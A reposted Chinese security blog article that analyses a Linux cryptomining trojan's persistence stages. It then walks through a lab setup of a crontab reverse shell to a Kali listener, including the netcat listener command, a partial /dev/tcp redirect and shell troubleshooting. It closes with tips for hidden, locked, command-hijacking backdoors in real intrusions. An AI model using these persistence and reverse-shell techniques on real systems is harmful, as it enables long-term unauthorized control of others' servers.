前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从挖矿木马看后渗透维权

从挖矿木马看后渗透维权

作者头像
安恒网络空间安全讲武堂
发布2019-10-16 15:47:33
2.2K0
发布2019-10-16 15:47:33
举报

以下文章来源于雷神众测,作者kevil

No.1 声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2 前言

在通过漏洞打入对方服务器后,如果痕迹没有清除干净或者在实施侵入的同时会有防火墙、waf(某云盾)等安全产品发出警报,比如某云服务器会直接发送邮件告知管理员,服务器被一个陌生IP登录,这时管理员可能会警觉,可能最直接的方式就是将22、3389等端口放入内网或直接关闭,如果想要获取对方长久的控制权,我们需要在其服务器中埋下稳定的后门,比如通过定时任务 crontab 反弹 shell,启发来源于挖矿脚本。

No.3 挖矿木马分析结果

阶段1

1.关闭防火墙和selinux。

2.释放掉被系统Cache占用的数据:sync && echo 3 >/proc/sys/vm/drop_caches,获得更多计算资源。

这里是矿机的CPU占用情况

3.配置crond定时任务以及授权密钥的路径。

4.定义一些变量,扰乱系统程序,干扰其它挖矿程序。

5.配置定时更新木马的文件,比如sysupdate,update.sh。

通过威胁情报平台确认de.gsearch.com.de域名为攻击者散播挖矿脚本的恶意域名。

阶段2

ps获取运行的进程,grep屏蔽掉自己,然后grep其它挖矿程序,awk获取进程编号,kill -9 强制杀掉。

阶段3

定义一个函数,调用curl,wget远程下载挖矿脚本。

阶段4

定时写入公钥,实现免密登录。

阶段5

给木马文件加锁,防止被修改或者删除。

阶段6

修改防火墙配置。

阶段7

清理入侵痕迹。

阶段8

劫持系统进程以及命令(比如ls,cd等常用命令,后期还会劫持sshd)。

从这个阶段开始分析服务器中存在的另外一个挖矿脚本,可以看出本人通过crontab -r 后任然无法删除定时任务,这里可能有两种原因:

1.有其他定时任务还在不断写入下载挖矿脚本的命令。

2.系统命令和系统进程被劫持,一旦被劫持的系统进程或命令生效,挖矿木马再次激活。

通过busybox尝试恢复被劫持的系统命令和进程后,重启服务器,重新登录服务器后依然有病毒进程被拉起,怀疑登录时加载的服务存在问题,最后终于发现/etc/bashrc 存在挖矿木马下载命令。

/etc/bashrc:为每一个运行bash shell的用户执行此文件,当bash shell被打开时,该文件被读取。所以重启后,挖矿脚本会继续下载。

网上资料的搜集(关于该类型挖矿木马的感染过程):

主进程操作

1.添加至开机启动,以及/etc/bashrc

2.生成了sshd文件 劫持sshd服务

3.将netdns文件设置为开机启动

4.编译libcryptod.c为/usr/local/lib/libcryptod.so

5.预加载动态链接库,恶意hook关键系统操作函数

6.修改/etc/cron.d/root文件,增加定时任务

7.拉起khugepageds挖矿进程。

No.4 笔者的辛酸删马环节

1.Ubuntu16.04写入定时任务反弹shell

测试环境

攻击机:kali-linux-2019.3,IP:192.168.101.153

靶机:Ubuntu16.04LTS,IP:192.168.101.142

2.测试时出现的问题:

crontab -e写入反弹shell,kali攻击机nc -lvvp 8888一直接收不到连接,service cron status,报错:

CRON: pam_unix(cron:session): session opened for user root by (uid=0)

CRON: pam_unix(cron:session): session closed for user root

解决:vi /etc/pam.d/common-session-noninteractive

在session required pam_unix.so

上方添加以下内容:

session [success=1 default=ignore] pam_succeed_if.so service in cron quiet use_uid

service cron restart

service cron status(报错已解决,但是kali任然无法收到反弹shell)

好像有错误信息:CRON[3901]: (CRON) info (No MTA installed, discarding output)

第一种方法:sudo apt-get install postfix

报错没有了,但是还是接收不到shell

换第二种方法

首先修改一下计划任务

然后我们过一分钟去文件error.txt查看报错信息

该错误信息的意思大概是:/bin/bash没有被找到,bash后面的”>& /dev/tcp/…”被当作系统文件或目录了,并没有通过binbash命令执行。linux里面的cron中命令执行的shell环境是/bin/sh,我们看一下/bin/sh文件的属性,发现/bin/sh其实是一个软连接,指向dashshell。

Ubuntu6.10已将先前默认的bashshell更换为了dashshell。Debian和Ubuntu中,/bin/sh默认已经指向dash,这是一个不同于bash的shell,它主要是为了执行脚本而出现,而不是交互,它速度更快,但功能相比bash要少很多,语法严格遵守POSIX标准。因为缺少了binbash的交互特性,所以kali中弹不回shell可以得到很好的解释了。

1.如果是 Dash 可用以下方法切回 Bash

方法一:修改默认脚本解释语言为bash

sudo dpkg-reconfigure dash(选择 NO)

$ sudo dpkg-reconfigure dash

Removing 'diversion of /bin/sh to /bin/sh.distrib by dash'

Adding 'diversion of /bin/sh to /bin/sh.distrib by bash'

Removing 'diversion of /usr/share/man/man1/sh.1.gz to /usr/share/man/man1/sh.distrib.1.gz by dash'

Adding 'diversion of /usr/share/man/man1/sh.1.gz to /usr/share/man/man1/sh.distrib.1.gz by bash'

然后ls -l /bin/sh确认软连接指向bashshell即可,我采取的是第二种方式。

方法二:直接修改sh的软链接为bash。

sudo ln -fs /bin/bash /bin/s

此时kali正常弹回shell:

此外,除了通过crontab -e直接写入bash之外,我们还可以通过创建定时文件/etc/crontabshell,然后通过crontab -e调用该shell脚本:

* * * * * /etc/crontabshell,

crontab -e

vi /etc/crontabshell

chmod 777 /etc/crontabshell

此时kali再次弹回shell:

No.5 实战中的应用

真实的渗透环境中,我们可以调用多个文件去执行反弹shell,你也可以设置隐藏属性的shell脚本文件,或者alias劫持一些系统命令,给定时文件加锁。结合挖矿木马的特性,可达到不死马的效果。

END

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-10-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
区块链
云链聚未来,协同无边界。腾讯云区块链作为中国领先的区块链服务平台和技术提供商,致力于构建技术、数据、价值、产业互联互通的区块链基础设施,引领区块链底层技术及行业应用创新,助力传统产业转型升级,推动实体经济与数字经济深度融合。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档